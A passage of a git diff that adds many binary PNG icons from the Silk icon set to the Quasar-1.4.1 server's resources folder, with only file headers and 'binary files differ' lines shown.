b/Quasar-1.4.1/Quasar.Server/Resources/Silk/error_go.png new file mode 100755 index 0000000..caa1838 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/error_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/exclamation.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/exclamation.png new file mode 100755 index 0000000..c37bd06 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/exclamation.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/eye.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/eye.png new file mode 100755 index 0000000..564a1a9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/eye.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed.png new file mode 100755 index 0000000..315c4f4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_add.png new file mode 100755 index 0000000..e77d46e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_delete.png new file mode 100755 index 0000000..5e332b4 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_disk.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_disk.png new file mode 100755 index 0000000..a158c99 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_disk.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_edit.png new file mode 100755 index 0000000..f1fde7a Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_error.png new file mode 100755 index 0000000..c0a801c Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_go.png new file mode 100755 index 0000000..f2eed1e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_key.png new file mode 100755 index 0000000..156bfa9 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_link.png new file mode 100755 index 0000000..c45a534 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_magnify.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_magnify.png new file mode 100755 index 0000000..3023695 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_magnify.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/female.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/female.png new file mode 100755 index 0000000..f92958e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/female.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/film.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film.png new file mode 100755 index 0000000..b0ce7bb Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_add.png new file mode 100755 index 0000000..40d681f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_delete.png new file mode 100755 index 0000000..23a2508 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_edit.png new file mode 100755 index 0000000..af66b73 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_error.png new file mode 100755 index 0000000..88f3d69 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_go.png new file mode 100755 index 0000000..dd0168e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_key.png new file mode 100755 index 0000000..5892162 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_link.png new file mode 100755 index 0000000..0f24e86 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_save.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_save.png new file mode 100755 index 0000000..bc8c0d3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/film_save.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/find.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/find.png new file mode 100755 index 0000000..4f2a460 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/find.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_blue.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_blue.png new file mode 100755 index 0000000..003924f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_blue.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_green.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_green.png new file mode 100755 index 0000000..e4bc611 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_green.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_orange.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_orange.png new file mode 100755 index 0000000..e632024 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_orange.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_pink.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_pink.png new file mode 100755 index 0000000..5f15e52 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_pink.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_purple.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_purple.png new file mode 100755 index 0000000..d069866 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_purple.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_red.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_red.png new file mode 100755 index 0000000..e8a602d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_red.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_yellow.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_yellow.png new file mode 100755 index 0000000..14c89a5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_yellow.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder.png new file mode 100755 index 0000000..784e8fa Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_add.png new file mode 100755 index 0000000..529fe8f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_bell.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_bell.png new file mode 100755 index 0000000..d04dd7f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_bell.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_brick.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_brick.png new file mode 100755 index 0000000..5dea976 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_brick.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_bug.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_bug.png new file mode 100755 index 0000000..4f791b6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_bug.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_camera.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_camera.png new file mode 100755 index 0000000..c951941 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_camera.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_database.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_database.png new file mode 100755 index 0000000..5193e2e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_database.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_delete.png new file mode 100755 index 0000000..112b016 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_edit.png new file mode 100755 index 0000000..ad669cc Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_error.png new file mode 100755 index 0000000..1af8809 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_explore.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_explore.png new file mode 100755 index 0000000..0ba9391 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_explore.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_feed.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_feed.png new file mode 100755 index 0000000..d06ee51 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_feed.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_find.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_find.png new file mode 100755 index 0000000..c64e2ee Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_find.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_go.png new file mode 100755 index 0000000..34a736f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_heart.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_heart.png new file mode 100755 index 0000000..56d7da1 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_heart.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_image.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_image.png new file mode 100755 index 0000000..d5df75b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_image.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_key.png new file mode 100755 index 0000000..fb9b4c2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_lightbulb.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_lightbulb.png new file mode 100755 index 0000000..f367a51 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_lightbulb.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_link.png new file mode 100755 index 0000000..b9b75f6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_magnify.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_magnify.png new file mode 100755 index 0000000..0a3e798 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_magnify.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_page.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_page.png new file mode 100755 index 0000000..1ef6e11 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_page.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_page_white.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_page_white.png new file mode 100755 index 0000000..14d6b61 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_page_white.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_palette.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_palette.png new file mode 100755 index 0000000..ba12fe8 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_palette.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_picture.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_picture.png new file mode 100755 index 0000000..052b336 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_picture.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_star.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_star.png new file mode 100755 index 0000000..448e46f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_star.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_table.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_table.png new file mode 100755 index 0000000..473cee3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_table.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_user.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_user.png new file mode 100755 index 0000000..f021c3e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_user.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_wrench.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_wrench.png new file mode 100755 index 0000000..ea3404e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_wrench.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/font.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/font.png new file mode 100755 index 0000000..b7960db Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/font.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/font_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/font_add.png new file mode 100755 index 0000000..b709eba Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/font_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/font_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/font_delete.png new file mode 100755 index 0000000..1d6124d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/font_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/font_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/font_go.png new file mode 100755 index 0000000..75eba80 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/font_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/group.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group.png new file mode 100755 index 0000000..7fb4e1f Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_add.png new file mode 100755 index 0000000..06c5350 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_delete.png new file mode 100755 index 0000000..4489ca2 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_edit.png new file mode 100755 index 0000000..c88b945 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_error.png new file mode 100755 index 0000000..7364a13 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_gear.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_gear.png new file mode 100755 index 0000000..2544f2e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_gear.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_go.png new file mode 100755 index 0000000..1f52333 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_key.png new file mode 100755 index 0000000..257f111 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_link.png new file mode 100755 index 0000000..c77ed88 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/group_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/heart.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/heart.png new file mode 100755 index 0000000..d9ee53e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/heart.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/heart_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/heart_add.png new file mode 100755 index 0000000..d4195ff Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/heart_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/heart_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/heart_delete.png new file mode 100755 index 0000000..ce523e3 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/heart_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/help.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/help.png new file mode 100755 index 0000000..5c87017 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/help.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass.png new file mode 100755 index 0000000..57b03ce Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass_add.png new file mode 100755 index 0000000..170dfff Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass_delete.png new file mode 100755 index 0000000..4b1337b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass_go.png new file mode 100755 index 0000000..b2d3a98 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass_link.png new file mode 100755 index 0000000..ecc59b0 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/house.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/house.png new file mode 100755 index 0000000..fed6221 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/house.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/house_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/house_go.png new file mode 100755 index 0000000..5457dbd Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/house_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/house_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/house_link.png new file mode 100755 index 0000000..be2c271 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/house_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/html.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/html.png new file mode 100755 index 0000000..55d1072 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/html.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/html_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/html_add.png new file mode 100755 index 0000000..f1c08b7 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/html_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/html_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/html_delete.png new file mode 100755 index 0000000..1bd2848 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/html_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/html_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/html_go.png new file mode 100755 index 0000000..a95cede Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/html_go.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/html_valid.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/html_valid.png new file mode 100755 index 0000000..71cec92 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/html_valid.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/image.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/image.png new file mode 100755 index 0000000..fc3c393 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/image.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/image_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/image_add.png new file mode 100755 index 0000000..fc5d613 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/image_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/image_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/image_delete.png new file mode 100755 index 0000000..c260e1d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/image_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/image_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/image_edit.png new file mode 100755 index 0000000..0aa4cc6 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/image_edit.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/image_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/image_link.png new file mode 100755 index 0000000..4bdb354 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/image_link.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/images.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/images.png new file mode 100755 index 0000000..184860d Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/images.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/information.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/information.png new file mode 100755 index 0000000..12cd1ae Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/information.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod.png new file mode 100755 index 0000000..3f768da Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod_cast.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod_cast.png new file mode 100755 index 0000000..6f6d340 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod_cast.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod_cast_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod_cast_add.png new file mode 100755 index 0000000..c3257f5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod_cast_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod_cast_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod_cast_delete.png new file mode 100755 index 0000000..377ab69 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod_cast_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod_sound.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod_sound.png new file mode 100755 index 0000000..fef6e8b Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod_sound.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/joystick.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/joystick.png new file mode 100755 index 0000000..62168f5 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/joystick.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/joystick_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/joystick_add.png new file mode 100755 index 0000000..77e7107 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/joystick_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/joystick_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/joystick_delete.png new file mode 100755 index 0000000..5d44b59 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/joystick_delete.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/joystick_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/joystick_error.png new file mode 100755 index 0000000..b32149e Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/joystick_error.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/key.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/key.png new file mode 100755 index 0000000..3bfd163 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/key.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/key_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/key_add.png new file mode 100755 index 0000000..d407403 Binary files /dev/null and b/Quasar-1.4.1/Quasar.Server/Resources/Silk/key_add.png differ diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/key_delete.png 